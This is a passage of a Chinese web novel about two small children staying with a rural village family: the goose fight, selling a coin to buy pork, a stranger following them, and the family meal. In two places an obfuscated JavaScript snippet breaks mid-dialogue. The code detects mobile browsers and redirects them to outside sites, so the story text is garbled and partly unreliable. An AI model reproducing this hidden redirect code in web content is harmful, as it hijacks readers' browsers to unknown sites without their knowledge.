汪渡若站在小丛后面,惊讶地看着小丛快速写出的字。“你读书了?”字写得这么漂亮,一定是练过的。再看小丛也不过七八岁的样子,显然是从小就开始练字。 “你们是不是什么隐世的大家族后代?” “不是。”小丛边写边回话。 汪渡若又去看西觉的字。西觉的字比起小丛的字差得不是一星半点。 两妖快速写了八十张纸。小丛站起来动了动腿,甩甩胳膊。 汪渡若把纸张塞进包里,“你们就放心吧。我肯定给你们办好。说不定你们要找的人就在风城。” 7. 买肉 玻璃窗户透来外面的亮光,院子里的公鸡打了几声响亮的鸣叫。云善睁开眼睛,坐起来,迷迷糊糊地喊,“花花。” 没听到人应声,他四下看看又喊,“花花。” “西西。” 李爱诚贴着床边睡了一夜,身子有些酸。听到云善的喊声,他醒了,在床沿坐起身,转回头看向坐在里面的云善,“你醒了?” 云善一看,不是花花。喊叫声里带了些惶惶然,“花花。” “西西。” 李爱诚知道他想家里的大人了,就想去抱他哄。 云善摆着手不要他,四下找人,看到坨坨睡在旁边。他趴过去,贴在坨坨的脸上哭,“坨坨,坨坨。” “啊?”坨坨含糊地问一声。 “坨坨。”云善眼泪掉下来,落在坨坨脸上。坨坨被湿湿的感觉惊醒,“云善,怎么了?” “花花呐?西西呐?” “他们不是挣钱去了吗?”坨坨坐起来,揽着云善。云善搂住坨坨,小脑袋埋在坨坨怀里,“要花花。” “西西,呜呜呜。” “嘟嘟呐。小丛......” 坨坨轻轻拍他的后背,安慰道,“去挣钱了。很快就来了。” “等他们来。叫花旗带我们去逛街,去镇上照相馆拍照片。拍很多很多照片,放在影集里。我们一起拍。让小丛给你做好多新衣服。” “我要个新的红肚兜。” 云善抽抽搭搭地嗯了一声,“红肚兜。” “让小丛给你也做一个,我们做一样的。穿着一起拍照肯定好看!”坨坨越说越兴奋,把本来伤心的云善拐成了和他一起幻想穿一样红肚兜的样子。 云善都想了半天红肚兜,才想起来问,“照相是什么呐?” “咔嚓一下,就跟画下来似的。比画真。”坨坨这样告诉云善。 李爱诚站在旁边穿衣服,心想坨坨真不容易,他自己才五岁,带着这么小的弟弟。自己不哭不闹,还把弟弟照顾得很好。 不过,怎么听坨坨都不该是山里的。山里能有照相馆吗?山里应该比他们这落后吧。可是他们看起来一点都不落后,云善的衣服看起来比大城市的孩子都洋气。 坨坨哄好了云善,带他下床,准备去李大志家穿衣服。昨天回来时天都黑了,坨坨没来得及洗衣服,今天他准备穿小慧给他们拿的衣服。 李爱聪还在床上睡大觉。坨坨路过李爱波门口,发现里面也没动静。 他们俩光着身子跑到李大志家,他家院门还没开。两人又抱着衣服跑回李久福家。 李爱诚蹲在门口刷牙,看到他俩光着身子回来,问,“怎么不穿衣服就回来了?” “李大志家没开门。”坨坨说。 云善跑到李爱诚旁边,仰着脸看他刷牙。他在山里也刷牙,但用的不是牙膏,而是用青盐刷牙,不会有这么多白沫子。 他站在旁边,睁着乌溜溜的大眼睛对蹲着的李爱诚说,“我也想刷牙。” 李爱诚漱了一口水,笑着问,“你会刷牙?” 云善点点脑袋,告诉李爱诚,“每天都刷。” “云善你把食指伸出来。”坨坨拿着牙膏对云善说。 云善伸出短短小小的手指头,坨坨挤了一点牙膏在他手指头上,“今天还用手指刷。” 云善把手指头伸进嘴里,蹭蹭左边牙齿,蹭蹭右边牙齿,再蹭蹭前面牙齿。 坨坨跑进厨房拿了一个碗,倒了水让云善漱口。云善自己会洗脸刷牙,不用坨坨操心。 没牙刷用,坨坨也用手指头沾着牙膏刷刷牙,和云善用一个碗漱了口,然后把碗洗干净放回厨房。 坨坨问李爱诚要了肥皂,在他家院子里洗衣服。 云善跑去旁边的鹅圈、鸡圈看热闹。 李爱聪睡醒后也光着身子跑出来。 赵秀英一出门看到三个光屁股的小孩,忍不住笑出声,“衣服呢?怎么一个个都不穿衣服了?” “等我洗完衣服就去大志家穿。”坨坨。 “大志?”赵秀英拿着红色塑料梳子站在院子里梳头发,好笑地说,“大志是你叫的?你人不大,辈分还大呢。” “给大志听到了,他打你。”李久福从屋里出来,假装板着脸说笑一句。 坨坨哼了一声,继续搓衣服。他辈分就是大! 李久福先打开鹅圈,几只大白鹅摇摇摆摆地走出来。 云善凑上去想摸摸鹅脑袋。没想到前头那只大白鹅伸着脑袋突然在云善白生生的肚皮上拧了一口。 云善捂着肚皮叫了一声。 大白鹅又伸着脑袋要拧云善。云善也不怕它,伸出小手看准了往大鹅脑袋上扇。 李久福一脚踢在大白鹅身上,喝道,“一边去。” 不知道那鹅怎么和云善不对付了,李久福赶也赶不走,它就盯着云善。 坨坨气势汹汹地跑过来,一把抓住大鹅脖子,拖着它转了一圈甩到一边。 大白鹅“嘎嘎”叫了两声,扇开翅膀,往坨坨的方向冲。 “嘿!”李爱诚呦呵一声,两步迈过来掐着坨坨的咯吱窝把他抱了起来。 大白鹅扑空,紧接着伸直了脖子就奔着云善去了。 云善没防住,胳膊上又被拧了一下。 坨坨急得大喊,“云善。” 云善大叫一声,“打你!” 他身子微蹲,一手拽着鹅脖子,腿一翘,骑在了大白鹅身上,屁股往下一坐,用四十来斤的体重把鹅死死压在地上。 另一只小手伸出来啪啪啪地扇鹅脑袋。 大鹅拼命地“嘎嘎嘎”地挣扎。两扇翅膀被云善腿夹着,根本展不开。 “这小子还挺厉害。”李久福在一旁笑。 李爱聪说,“云善你别撒手,鹅起来又要拧你。” “大伯家这只鹅就爱拧人。我被它拧过好几回。” “吃了。”云善凶巴巴地说。 大鹅凄惨地“嘎嘎嘎”地叫。 李爱诚放下坨坨,坨坨跑过去,对着大鹅胸口踢了两脚。 “行了,放了吧。”李爱诚说,“再打就打死了,真要吃了。” “那就吃了吧。”李爱聪嘴馋地说,“我想吃大鹅。” “你想吃大鹅叫你爸杀给你吃。”李爱波在后面踢李爱聪屁股,“别惦记我家大鹅。” “我家又没养鹅。”李爱聪站起来跑到李久福身边告状,“大伯,二哥欺负我。” 李爱波说,“谁让你要吃我家大鹅。” 坨坨喊云善起来。 云善站起来,一巴掌扇偏大鹅脑袋,“坏蛋!” 大鹅嘎嘎嘎地摇摇摆摆快步走开,站在院子里嘎嘎嘎地叫唤,显然被吓得不轻。 坨坨看到云善白嫩的肚皮和胳膊上各红了一块。这大鹅拧人力气肯定不小,不然不会红。“疼不疼了?” 云善低下头看到自己胖肚子上的红印,伸手按了按后才抬起头来告诉坨坨,“不疼。” 坨坨在院子里找了根小棍,把那只还在不安地“嘎嘎”叫的大鹅撵出院子。 “等我洗完衣服再给你洗个澡。”坨坨对云善说。 云善摸摸肚子,“干净的。” “刚刚不是才骑过鹅。鹅身上肯定不干净。”坨坨说。 李爱聪不习惯光着,先跑去了李大志家,很快抱着三身衣服回来。 早上天气有点凉,坨坨在李久福家烧了热水,把云善身上重新擦了一遍。他拿了上衣比划了一番,把小的那件两根筋背心给云善穿上。 小背心胸口有黄色污渍,像是吃饭时沾上的油没洗干净。衣服下摆还有两个洞。 云善低头看看,抓着胸口的衣服说,“脏的。” “不是脏的。”李爱聪说,“这都是洗不干净的。” “衣服穿久了就洗不干净。” “谁说的,这是没下劲洗。”坨坨说。 “真洗不干净。”李爱聪说。 云善手指头从衣服下摆的洞里穿过来,“衣服坏了。” 赵秀英走过来看了一眼说,“这不老鼠啃的么。” “老鼠最烦人。好东西都让它们糟蹋了。” 坨坨低头看看这两个洞。这洞不算大,要是小丛在这就好了,可以给云善补一补,绣个好看的花或者什么的。 “你家没养猫?”坨坨问李爱聪。 “养猫也不能全防住。”赵秀英说。 “我家养猫了。”李爱聪说,“李爱香有一只小花猫。” 李爱聪自己穿了条深蓝色裤子,给云善和坨坨拿的也是深蓝颜色的裤子。 “没有其他颜色的吗?”坨坨嫌深蓝色裤子颜色暗。 云善穿上裤子,裤脚拖在鞋面上。 坨坨一边给他挽裤脚,一边问李爱聪,“还有小的裤子吗?” “没了。”李爱聪说,“奶说这就最小的。云善矮,穿不了大的。” 这条裤子也不完整,右边膝盖上破了个小洞。 穿着白色小背心,深蓝色裤子的云善和昨天截然不同。今天就有点破破烂烂的感觉。 用李爱波的话说,“现在和村里小孩一样。”昨天云善穿的自己衣服看起来很洋气,今天穿这一身看起来就和村里小孩一样了。一样的蓝裤子,一样暗的颜色。 李爱波蹲下来,食指在云善的黑色皮凉鞋的鞋面上划了划,“真皮的?” “多少钱买的?” “自己做的。”坨坨说。 “自己做的?”李爱波很是吃惊,接下来很感兴趣地问,“谁做的?” “小丛做的。”坨坨说,“我也会做,做得没这个好。” “你给我做一双呗。”李爱波笑着说,“我看云善穿着很好看。” 坨坨说,“你要是有皮,我就给你做。” 李爱波啧啧两声,可惜道,“我上哪去弄皮。” 李爱聪在旁边接话,“二哥你说废话啊。” 李爱波白了他一眼,转头看向坨坨,“等我买了皮来,你就给我做。”他想要一双皮鞋很久了。 他盯着云善的脚看,好像真的很喜欢这双凉鞋。 “你买的那双皮鞋多少钱?”李爱波问李爱诚。 “四十块钱。”李爱诚说。 “凉鞋比皮鞋皮少,是不是能便宜点?”李爱波问。 “不一定吧。”李爱诚说,“我在海城的商场里看到过卖50块钱一双的凉鞋。” “那么贵。”李爱波咋舌。 李爱聪留在李爱诚家吃早饭,坨坨和云善就也跟着留了下来。 饭桌上,李久福说起昨天的事,“你们昨天就三人去镇上了?” “嗯。”李爱聪挺骄傲地说,“找到我爸了。” “我爸给我买汽水喝了。” “你们还真能跑。”李久福感慨。 “一开始是坨坨说要去镇上卖铜钱,到了镇上又说没地方卖。”李爱聪说,“本来还说要买肉的。后来没钱也就没买肉。” “什么铜钱?”李爱波立马来了兴趣,“拿出来看看。” 坨坨把那枚铜钱掏出来给李爱波看。 李久福家里的人挨个传着看了看。 “这能卖多少钱?”赵秀英问。 “不知道。”坨坨说,“反正能卖钱,这是古董。” “这是真的?你们哪来的?”李爱诚捏着铜钱问。 “真的。家里传下来的。”坨坨肯定道,“真是真的。”绝对保真! 李爱诚看了又看,“十块钱卖给我吧。” “你要这个干什么?”赵秀英立马问,“这能值十块钱?” “和我关系好的班长喜欢这种老东西。还有一个月他过生日,我买给他当礼物。”李爱诚说,“今年我过生日他给我送了支好钢笔。怎么我也得给人家送点东西。” 坨坨想了想,一块二能买一斤肉。十块钱也能买八斤肉。一天买一斤,能买八天。 又加上李爱诚在他心里有光环,他没犹豫就应下来了。“你给我碎点的钱。我还要还李爱聪他爸四毛钱。” “给我就行。”李爱聪抢着说。 “行。”李爱诚把铜钱塞进裤子口袋里。 “你有肉票吗?再给我八张肉票。”坨坨说,“人家卖猪肉的说还得要肉票才能买肉。” “行。”李爱波说,“给你。” “给什么?”赵秀英道,“家里没多少张肉票了。” “要那肉票也没什么用。”李爱波说,“咱家买过几回肉?” “你给坨坨呗。” 李爱波冲坨坨笑,“什么时候吃肉叫二哥一声呗。” “没多少钱,买不了多少肉。”坨坨说。这些钱他得省着花,给云善买肉吃。 他想想李大志家那么多人口,要是只买一斤肉,云善也分不了几块。就想着今天去镇上顺便去捡些瓶子卖破烂,挣点钱。 “不是十块钱么?”李爱波哄他道,“你买两斤。” “今天中午我跟你去小叔家吃。” 坨坨想了想,“行吧。” 李爱波吃完饭跑屋里去,把翻出来的两张两市斤的肉票给了坨坨。“早点去,早点回来。” “瞎胡闹什么?”赵秀英在李爱波后背重重拍了一巴掌,“你别撺掇这么小的孩子去镇上。” “我带去也行啊。”李爱波说,“我骑自行车带他去。一会儿就回来了。” “带什么带?今天不干活了?不割麦了?”李久福催道,“行了,赶紧收拾收拾下田吧。” 李爱波不死心,揽着坨坨肩膀说,“要不你再等一天。明天逢集,我带你去集市上买肉?” “集市上有的摊子都不用肉票。” “云善天天都要吃肉。”坨坨说。 “天天吃肉?”李爱波转头看向云善。 云善圆脑袋,小胖脸上肉乎乎,露出的胳膊和肩膀都是肉肉的,看样子平时吃的就好。“你家啥家庭,还天天吃肉?” “我们住山里。”坨坨说,“山里又不缺肉吃。” 李爱波有点羡慕他。 李久福吓唬他们,“小孩乱跑,别被人贩子给拐了。老老实实呆在家里。” “叫小聪带你们去村里玩。” “我想吃肉。”李爱聪说。 和三个小孩说不通,李久福干脆把他们三个带地里去了。 李大志家早已经干起活了。十四岁的李爱蓝也拿着把镰刀,跟在父母身后割麦子。 李久福把李爱聪、坨坨和云善带到马奶奶跟前,让马奶奶看着他们三个,“这三小孩要往镇上跑。” “去什么镇上?”马奶奶眼睛一瞪,“天天出去创什么魂?” 马奶奶和李爷爷忙着把麦子往牛车上堆。李爱聪和坨坨、云善三人在田埂上玩。 李大志家的大白狗在麦地里乱窜,一会儿跟在李大志后面,一会儿又跑李爱蓝身边,要么就跑去扑大水牛。 大人一忙起来,就没空看着孩子。李爱聪四下看看,见没人注意他们,带着坨坨、云善三人就从地里跑了。 马奶奶跟着李爷爷运了趟麦子去了趟李久勇家,回来在地里左找右找找不到人。 “活作!一个个小活作!”马奶奶挺着腰站在田埂上骂了几句,赶紧叫李爷爷去追人。 李爷爷拿挂在脖子下的毛巾擦了把汗,站在那装了一锅烟。 “还吃什么烟?赶紧去追。”马奶奶急吼吼道。 “不就是去镇上吗?急什么?小孩能跑多快?”李爷爷说,“我歇歇再去。” 他坐在地头上抽烟。 马奶奶一个劲催他。 李爷爷被催得不耐烦,站起身拍拍屁股上的土,拿掉嘴里的烟,坏脾气道,“挨鬼追了?急死了。” 李爷爷性子慢,马奶奶却是风风火火的性格。两人过了几十年没少因为被催得急的事吵架。 马奶奶声音大了些,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273976|166656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟什么时候不能抽?先把小孩找回来!” 那一锅烟没能悠哉悠哉地抽完,李爷爷叼着烟嘴,心气浮躁地往家里去了。 他骑着二八大杠路过村口,树下纳凉坐着的老年人都是岁数太大,实在干不了活的,那些老年人看到他说,“家财,你家小聪往镇上跑了。” “我就去找他们。”李爷爷道。 李爷爷个头不高,快70岁的人,背有些佝偻,显得更矮了。 他蹬着自行车也不快,一直追到铁轨那都没追到人,他这才有些急。心里开始懊恼自己不该抽那锅烟,早点追来就好了。 过了马路,李爷爷找去了镇上。 在菜市场一打听,猪肉摊的师傅对坨坨印象很深。昨天这小孩就说要买肉,今天还真拿着肉票和钱来了。 “是有三个小孩来买肉,买了三斤。有两个还扎小辫。还问我打听什么人。” 猪肉摊的师傅指着菜市场往街里的出口说,“他们往那走了,你问问去。” 此时,坨坨、云善和李爱聪三人手里各提溜着一斤猪肉在镇上瞎转。猪肉都用稻草捆着,好提。 转了一大圈,坨坨在路边一个瓶子也没看见。他纳闷地问李爱聪,“现在这么文明吗?没人丢瓶子啊。” “为什么要丢瓶子?瓶子能来回用。”李爱聪奇怪地对坨坨说。 “瓶子不卖破烂?”坨坨问。 “没见过。”李爱聪道。 坨坨这才注意到,街上不仅没瓶子,废纸壳之类的也没有。 经过商店,坨坨拉着云善跑进去。 “买汽水吗?”李爱聪跟着往里跑。 “要两根牙刷和一支牙膏。”坨坨对售货员说。 “一根牙刷两毛。”售货员从架子上拿了一绿一粉两只牙刷。然后拍了拍货柜,“牙膏要哪种?” “不要这个粉色的。”坨坨把粉色牙刷往里推,“要上面那个大红色的。”牙刷的塑料柄和坨坨以前用的塑料柄不一样,这些塑料有点透明,里面还有一点一点的东西。 售货员把粉色牙刷换成了大红色的。 坨坨仰脸看柜台上的几排牙膏,有个包装盒上有小兔子图案,他选了这个。 “二块。”售货员把牙膏拿下来摆在柜台上,“一共两块四毛钱。” 坨坨从口袋里点出钱交给售货员,拿了绿色牙刷给云善,“云善你喜欢的绿色。” “牙刷啊?”云善呲着牙,用牙刷干刷了两下。他又看看牙刷,对坨坨说,“真好看。” 坨坨倒是没觉得有多好看,他把自己的红色牙刷和牙膏拿在手里,李爱聪站在旁边问,“不喝汽水?” “不喝。”坨坨说,“钱留着买肉吃。” 李爱聪的手在口袋里掏了掏,他兜里有四毛钱。犹豫了好一会儿,他说,“那好吧,不喝了。我的钱也留着买肉吃。” 出了商店,路过照相馆,坨坨领着云善去看照相。 照相馆里的师傅瞧着他们三个小孩提着肉进来,叮嘱道,“不要乱摸啊。” “不乱摸。”坨坨用空着的另一只抓住云善空着的手。云善两只手里都有东西,没手乱摸。 “云善,你看墙上。”坨坨示意云善看墙上的照片。“到时候我们就照那样的。” “和花旗他们一起。” “嗯!”云善高高兴兴地点头。 照片里的小孩抱着大红色的大红花,很好看。云善说,“我也要花。” “到时候多摘点花,咱们一人抱一点。”坨坨说。他不知道照片里那些是道具假花,还以为是真花。 看完了照相馆,镇子上没瓶子捡,坨坨说快点跑回去,赶回去吃午饭。 他们刚跑了几步,听到后面有人喊,“喂。” 坨坨转过头,看到一个穿着和他们裤子一样的深蓝色裤子,上衣是棕色条纹短袖的青年。这青年头发有些长,梳了个中分。 坨坨见那个青年看着他们,便问,“你叫我们啊?” “对啊。”那青年指着旁边的小巷子说,“来,跟你们说点事。” “什么事啊?”坨坨好奇地问。 青年站在小巷口边上说,“来嘛,来这边说。” 李爱聪提着肉要过去,被坨坨拉住了。他转头对青年说,“我们不认你。你有什么话就在这说。” 经过被人抓去的事,坨坨现在对人类有些提防,尤其是去巷子里这种地方。 “给你们糖吃。”那青年笑着说,真从兜里摸出了两块糖放在手里。 “不吃!”坨坨一看糖,心里更是警铃大作。“有什么事,你现在就说。不说我们走了。” 街上来来回回地有人经过,坨坨一点都不怕。 李爱聪看看坨坨,小声说,“他给我们糖吃,我们不吃啊?” 坨坨摇头,“我们不吃。不能随便吃人家糖。”他吃过亏,记得很牢。 坨坨见这人始终不说话,他拉着云善对李爱聪说,“咱们走。” 没想到后面的青年居然跟了上来。 坨坨皱着眉头转过身,警惕地问,“你干嘛跟着我们?” “谁跟你们了。”那青年道,“我正常走路。” 坨坨把他打量了好几遍,拉着云善和李爱聪继续往前走,时不时地回头。青年就跟在他们身后不远的地方。 一路走到菜市场,那青年都在跟着。 再往前去,经过铁轨,路过的人就少了。坨坨不知道这个人要干什么。看他的个头,他和李爱聪加起来应该都打不过这个人。 “他怎么一直跟着我们?”李爱聪也察觉到不对劲。 “不知道。”坨坨说,“一会儿我们快点跑。找个地方先藏起来,把他甩开。” 李爱聪点点头。 穿过菜市场时,卖猪肉的师傅喊,“小孩。” 坨坨歪着脑袋看过去,卖猪肉的师傅大声道,“刚刚有个老头找你们,往街上去了。” “什么老头啊?”李爱聪问。 “不知道。”卖猪肉的师傅说,“反正来找你们的。” 坨坨看了看卖猪肉师傅的体格,又转头去看在菜市场里东看西看的青年。 他带着云善和李爱聪跑到猪肉摊边,“我们在这等等那老头。”他猜师傅说的老头不是李爷爷就是李久福。 卖猪肉的师傅看见坨坨频频看向那青年,一下子琢磨过来了。他把剁猪肉的刀用力剁在案板上,“小孩,你们来这边。”说完,眼神防备地看向那青年。 青年又徘徊了一会儿,不甘心地往猪肉摊看了好几眼才离开。 坨坨松了口气。 卖猪肉的师傅去别人摊子上要了几张报纸,拿来让坨坨他们把猪肉包起来抱在怀里,“别叫别人看到了。你们几个小孩,要是有人使坏心,就把肉抢了。” “以后别自己来买肉,你们跟家里人来。有些人不讲理,会抢人东西。” 坨坨赶紧点头。 猪肉摊师傅又拜托在旁边玩的少年,让他去街里找李爷爷。 好一会儿,李爷爷推着自行车急急地跟着少年过来了。 一见到人,李爷爷板着脸,凶道,“一声不吭就跑这么远?” “一个个咋这么能跑。” 云善抱着肉,眼睛一眨不眨地盯着发脾气的李爷爷看。他倒是不害怕。李爷爷之前总笑着看他,即使李爷爷发脾气,他也不害怕。 李爱聪脸皮厚,不把李爷爷的黑脸当回事。他跑过去把报纸掀开一角,高高兴兴地说,“爷,中午回去吃肉。” “你爸给你钱了?”李爷爷支起自行车。 “坨坨的钱。”李爱聪说。 “坨坨哪来的钱?”李爷爷奇怪地问。 “我卖了个东西给大哥,大哥给的钱。”坨坨说。 “卖了个铜钱。”李爱聪补充道。 李爷爷问卖猪肉的师傅要了些草绳,把报纸包着的三坨猪肉捆在后车座上,“走,回家去。” 8. 第三天 李爷爷推着自行车在前面走,云善他们三个跟在后边。 树上的蝉时不时地脚上两声,偶尔还会有鸟叫声。阳光被树木遮住,树荫下很凉快。 云善想坐自行车。坨坨看李爷爷个子小,人也老,怕他推不稳,不让云善上去。拉着他在路边歇脚。 李爷爷把车子支在路边,蹲下来摸出插在外套上口袋里的烟袋。 “我来。”云善靠近了抓走烟袋。 李爷爷笑呵呵地说,“你来。” 坨坨从兜里摸出昨天剩下的两块糖,问云善,“你吃水果糖还是牛奶糖?” 云善选了包装更亮眼的水果糖。 李爱聪说,“那我吃牛奶糖。” 坨坨撕开水果糖包装,把糖给云善。 然后他就着牛奶糖的外包装在嘴里“嘎嘣”咬开糖,再撕开糖纸,牛奶糖已经成了一大一小两块。 “给你吃大的。”坨坨把稍大的那块给了李爱聪。 李爷爷蹲在旁边,抽着烟,脸上带着笑意看着他们。 他含着烟嘴站起来,从裤兜里摸出了一团手帕,一层一层地打开,从里面拿出三张两分钱的绿色飞机小票子,“给你们。明天赶集想吃什么自己买。” “爷你真好。”李爱聪一把抓过钱,笑得见牙不见眼。 云善抓着钱来回看,不太懂这是什么。坨坨告诉他这是钱,云善抬头道,,“没带钱袋。” “你先给我,我帮你收着。”坨坨说。 云善把自己刚得到的两分钱给了坨坨。坨坨把钱塞进裤兜里,顺便摸了摸裤兜里钱,确定都还在后他拍了拍裤兜。 歇够了,大家继续往前走。 到李大志家,发现院门开着。 “谁回来了?”李爷爷冲里面喊一句。 “爷,我回来了。”锅屋里走出来个戴眼镜的女孩。扎着两个粗壮的麻花辫,穿着花衬衣,也是一条深蓝色的裤子。女孩个头高,瞧着和李爷爷差不多高似的。 “二姐。”李爱聪喊人。 “爱青啊。”李爷爷推着车进屋,打开了锅屋和李爱蓝两个房间中间的屋子,把车子推进那屋锁着。 坨坨这才知道,原来李大志家也有自行车。 李爱青好奇地问坨坨和云善是谁。 李爷爷说是人家走丢了的小孩,暂时住在他们家。他把三坨肉都拿给李爱青,“都炒了吧。” 李爱青打开报纸,看到是肉,十分高兴。眼镜下的眼睛弯成了月牙,“这是三斤肉?” “今天咋买这么多?” “是坨坨买的。”李爱聪说。 “坨坨买的。”云善跟着说。 “哦,你买的啊。”李爱青顿时有些犹豫,“爷,这小孩买的咱能吃?” “能。”坨坨说,“你炒了吃吧。” “行。”李爱青拿着肉去井水边洗。因为这三块肉,她对坨坨和云善的第一印象非常好。 “中午把你爸也叫来吃饭吧。”坨坨对李爱聪说。 李爱聪点头,“咱们现在去叫他。” 云善站在院子里不走,“坨坨,喝水。” 坨坨从锅屋拿了个碗跑进堂屋,倒了些凉白开给云善。 李爱聪也跟着灌了一碗水。 走到路边,云善又喊要尿尿,自己脱了裤子,对着河边的树呲了一泡。 马奶奶赶着牛车往家来,看到他们三个,立刻大声喊,“又跑镇上去了?” 李爱聪当做没听见,拉着云善和坨坨往前跑。 马奶奶气得下了牛车,站在路中央大骂道,“天天跑出去创什么魂?” “这一天天的不叫人省心。” “快跑,快跑。”李爱聪喊。 三人快跑开,听不到马奶奶骂人的声音才停下。 坨坨问李爱聪,“活作是什么?” “不知道。”李爱聪说,“他们都这样骂人。” “创魂是什么?”坨坨又问。 “在外面玩就是创魂。”李爱聪解释。 “你二姐怎么今天回来?今天星期六。他们今天才放假?”坨坨问。 “她学校远。在另一个乡里。放麦假。”李爱聪说,“三姐和我爸放的都是麦假。” “不然还要上半天学。” “不是一个星期休两天?”坨坨问。 “放一天半。”李爱聪道。 到了田地里,正遇上李久福一家一人拿一把镰刀往回走。 李爱波拿下头顶草帽在手里扇风,笑嘻嘻地问,“奶说你们跑出去了。是不是去镇上买猪肉了?” “啊。”李爱聪得意地说,“买了三斤。” 李爱波嘿了一声,高兴地说,“中午去小叔家吃饭。” “大哥,中午去吃肉。”坨坨对李爱诚说。 “你们真去买肉了?”李爱诚没想到这三小孩真能跑。一上午还去镇上打了个来回,真把肉给买来了。 “真的。”李爱聪说,“二姐在家炒肉呢。” 李爱诚已经23岁了,不是随便上别人家吃饭的年纪,尤其是专门去吃肉。 李爱波他们先回家放镰刀,李爱聪带坨坨和云善跑进他家地里。 刘云和李久勇一人背着一袋麦子往这边走,李爱香跟在后面。 “爸。”李爱聪隔着远远地喊,“中午去二伯家吃肉。” 刘云走过来,笑着问,“你二伯家买肉了?” “坨坨买的。”李爱聪说。 刘云“哟”了一声,“坨坨还有钱呢。” 坨坨没搭理她阴阳怪气的话,牵着云善跟在旁边走。 回到村子边,李久勇他们先回家送麦子。 李爱聪、坨坨和云善回了李大志家,李爱波正站在院子里和李爱青说话。李爱诚不在。 “大哥呢?”坨坨问。 “他不来。”李爱波说。 坨坨带着云善去李久福家找李爱诚。 李爱诚光着上半身正拿着草叉翻着地上的麦子。 “大哥,走啊。去吃饭。”坨坨叫道。 李爱诚回头笑,“你们吃你们的。” “走啊。”坨坨上来拉他。 他想和李爱诚交好,想抱大腿。再说要是没有李爱诚出钱买走铜钱,他现在还没钱买肉。 “去就去吧。”赵秀英道。 李爱诚拿上衣服,跟着坨坨他们去李大志家。 李爱青已经摆好了饭菜,和李爱蓝两人有说有笑的。 李大志拿着蒲扇坐在走廊下扇风。 李久勇没来,李爱香倒是来了,自己站在一旁,也没人跟她说话。 “你爸没来?”坨坨问李爱聪。 李爱聪说,“他不来。”他冲着李爱香努努嘴,“这不来一个了。” 李爱香也当没听见李爱聪的话,自己搬了凳子在桌边坐下。 李爱聪已经把坨坨十块钱卖了一个铜钱的事说了。 “你家原来是地主吗?”马奶奶问坨坨。 “不是。我们住在山里。”坨坨再次重复。 李爱波和李爱香两人一个劲地往自己碗里夹肉。 倒是李爱蓝,心里别别扭扭地夹了几口沾了肉味的豆角。 这肉是坨坨买的,她不想吃。心里觉得,好像吃了他们买的肉就像是坨坨和云善投降了。可她心里又很矛盾,想吃肉。 心里挣扎了好一番,李爱蓝还是决定不吃肉,只夹豆角吃。 “咋不吃肉?”马奶奶夹了一块肉到李爱蓝碗里。“都瘦了。多吃点。” 李爱蓝看着碗里的肉,小小地应了一声。心里又开始挣扎起来。最后还是想吃肉占了上风。 她夹起肉送进嘴里,嚼了几口后在心里感叹,肉真好吃。 一抬头看到李爱香不断往碗里夹肉,李爱蓝就觉得自己是傻子。她都不吃,凭什么李爱香吃? 坨坨和云善是要来她家的,又不是去她李爱香家。凭什么李爱香吃那么多坨坨买的肉? 这么一想,李爱蓝觉得自己亏了。她开始伸筷子夹肉吃。 三斤肉炒了两大盘,看着多,可人也多。各人都夹,一会儿就没了。 云善也吃饱喝足,嘴边沾着油。坨坨领他去院子里洗干净嘴。 李大志最后把剩下的汤汁拌着米饭又吃了半碗饭。 李爱香吃完肉就走了。李爱聪不高兴地对坨坨说,“下次不给她吃。” “别叫她。” “你不是叫你爸的吗。”坨坨说。 李爱聪开始埋怨李久勇,“我爸真是的。为什么叫她来吃。” 他一个小孩,不懂大人们脸皮薄,不会因为别人家有好吃的就跑过来吃饭。大人是不好意思的。 李爱波吃的心满意足,看坨坨他们往外走,他跟上去,凑近坨坨问,“你还剩多少钱?” 李爱诚啧了一声,“你行了。小孩钱你也惦记。” “不是。”李爱波说,“我就问问下回啥时候买肉吃。” 李爱诚看坨坨他们在河边树下玩,说,“下午别乱跑了。别让奶老找你们。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15273977|166656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “别下水。” “知道了。”坨坨想想下午也没什么事要干了,他决定带着云善去地里给李大志家帮忙。 李大志家东屋里有三张床,原本是他家三个闺女各睡一张床。后来大闺女结婚,她那张就空着,用来放被褥。 屋门和窗户全都打开,屋里挺凉快。 李爱蓝肚子上盖了个毯子,小声和李爱青说话,“二姐,你知道咱爸妈要收养坨坨和云善吗?” 李爱青原本闭着眼睛躺着,听到这话睁开眼,惊讶道,“要收养他们?” “谁说的?” “妈说的。”李爱蓝躺在床上望着不平整的石板屋顶说,“咱家穷成这样了,还要收养小孩。不知道咱爸妈咋想的。” “非得要男孩干什么?男孩能干什么?镇上的标语写着生男生女都一样。别人家只有一个女孩的还不活了?” “爸妈他们就是老封建思想,重男轻女!” “有养小孩的钱还不如买个电视机。大伯和二伯家都有电视机了,就咱家没有。” “你知道他们是封建思想,还生什么气?还指望他们改?”惊讶之后,李爱青淡定了下来。 “我心里气。”李爱蓝道。 李爱青轻笑了一声,“你气性不小。” “不管爸妈怎么样,咱们好好读书就是。考上大学,走出小村庄,去看看外面的世界。靠自己的努力一点点改变世界。” 李爱青在李爱蓝这个年纪的时候也会有这么多想法。那时候她经常听见她奶奶唠叨着让她妈生个儿子。说没儿子怎么办,以后死了没人摔盆。 她也像李爱蓝一样,思考过女孩和男孩到底有什么不同。男孩能做到的事,女孩也能做到。女孩不比男孩差。 